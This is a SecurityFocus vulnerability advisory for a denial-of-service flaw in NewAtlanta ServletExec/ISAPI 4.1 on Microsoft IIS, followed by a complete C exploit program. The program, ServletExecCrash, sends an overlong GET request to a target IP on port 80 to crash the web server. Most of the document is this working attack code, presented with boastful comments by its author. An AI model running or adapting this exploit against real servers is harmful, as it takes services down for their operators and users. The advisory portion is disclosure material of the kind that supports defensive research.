source: http://www.securityfocus.com/bid/4796/info

ServletExec/ISAPI is a plug-in Java Servlet/JSP engine for Microsoft IIS. It runs with IIS on Microsoft Windows NT/2000/XP systems.

A denial of service condition occurs when the JSPServlet is sent an overly long request either directly or via a request for a JSP file.

It has been reported that this will cause the underlying webserver to crash.

This condition may be the result of insufficient bounds checking, though this possibility has not been confirmed. 

#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h>

/*    This is Exploit code for a vulnerability in NewAtlanta ServletExec ISAPI 4.1.
      ServletExec 4.1 ISAPI is a Java Servlet/JSP Engine for Internet Information
      Server and is implemented as an ISAPI filter.
      Machines running this program is MS IIS server 4 and 5.
	  This code can simple crash the server, successfully preform a DoS attack!
	  It sends a string that servletExec don't like but have to eat, and 
	  this will make the server crash, BIG TIME =)
	  This file assuming the www server is on port 80 and that the servlet engine
	  is located in the /Servlet directory. 
	  Jonas "bl0wfi5h" Nyberg and Digital-Root.com is proud to present ServletExecCrash.
	  You can contact me at: bl0wfi5h@digital-root.com or bl0wfi5h@hotmail.com.
	  This was finished: 2002-05-24 @21:49 Swedish time
*/

void banner(void);

typedef unsigned short int USHORT;
typedef unsigned long int ULONG;



int main(int argc, char** argv[])
{
  int sockfd;
  struct sockaddr_in dest_addr;

  
  int len, bytes_sent, select;
  char* string = "GET /Servlet/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.jsp";
 
  if(argc < 2 || argc > 2)
  {
  	printf("Usage: ./servletExecCrash ip\n");
  	printf("Assuming that its port 80, which is default for most www servers\n");
  	printf("If this is a case where this is not true, change the got damn source yourself!\n");
  	exit(1);
  }
  dest_addr.sin_family = AF_INET;
  dest_addr.sin_port = htons(80);
  inet_aton(argv[1], &(dest_addr.sin_addr));
  memset(&(dest_addr.sin_zero), '\0',8);
  len = strlen(string);
  
  if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1 ) 
  {
  	printf("problem with your socket!");
  	exit(1);
  }
  
  connect(sockfd, (struct sockaddr *)& dest_addr, sizeof(struct sockaddr));
  
 	
  bytes_sent = send(sockfd, string, len, 0);	
  if(bytes_sent == -1)
  {
    printf("\nYou are having problem sending, the information\n");
    exit(1);
  }
	printf("\nYou have sent: %d", bytes_sent);
	printf(" bytes to: %s", argv[1]);
	close(sockfd);	
	banner();
	return 0;

}
void banner(void)
{
	printf("\n\n***********************************************\n");
	printf("*****CODE MADE BY: JONAS [BL0wFi5h] NYBERG*******\n");
	printf("*********DIGITAL-ROOT PROUDLY PRESENT*************\n");
	printf("****************SERVLETEXECCRASH******************\n");
	printf("**************************************************\n");
	

}
